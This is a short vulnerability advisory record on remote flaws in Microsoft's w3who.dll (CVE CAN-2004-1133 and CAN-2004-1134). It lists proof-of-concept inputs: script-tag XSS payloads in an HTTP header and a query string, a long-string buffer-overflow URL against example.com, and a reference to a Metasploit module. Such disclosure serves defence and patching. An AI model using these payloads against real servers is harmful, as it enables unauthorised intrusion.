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Title	Microsoft Windows 2000 Resource Kit W3Who.DLL Multiple Remote Vulnerabilities
Published	2004-12-06-12:00AM
Updated	2005-01-11-07:46PM
Class	Boundary Condition Error
CVE	CAN-2004-1133 CAN-2004-1134
Remote	Yes
Local	No
Credit	Nicolas Gregoire <ngregoire@exaprobe.com> is credited with the discovery of this issue.
Vulnerable	Microsoft w3who.dll Microsoft Windows 2000 Resource Kit
Not Vulnerable
Code	The following proof of concept exploits have been made available: XSS vulnerability when displaying HTTP headers : Connection: keep-alive<script>alert("Hello")</script> XSS vulnerability in error message : http://www.example.com/scripts/w3who.dll?bogus=<script>alert("Hello")</script> Buffer overflow when called with long parameters : http://www.example.com/scripts/w3who.dll?AAAAAAAAA...[519 to 12571]....AAAAAAAAAAAAA An exploit for the w3who.dll buffer overflow has been released as part of the MetaSploit Framework 2.3. /data/vulnerabilities/exploits/iis_w3who_overflow.pm
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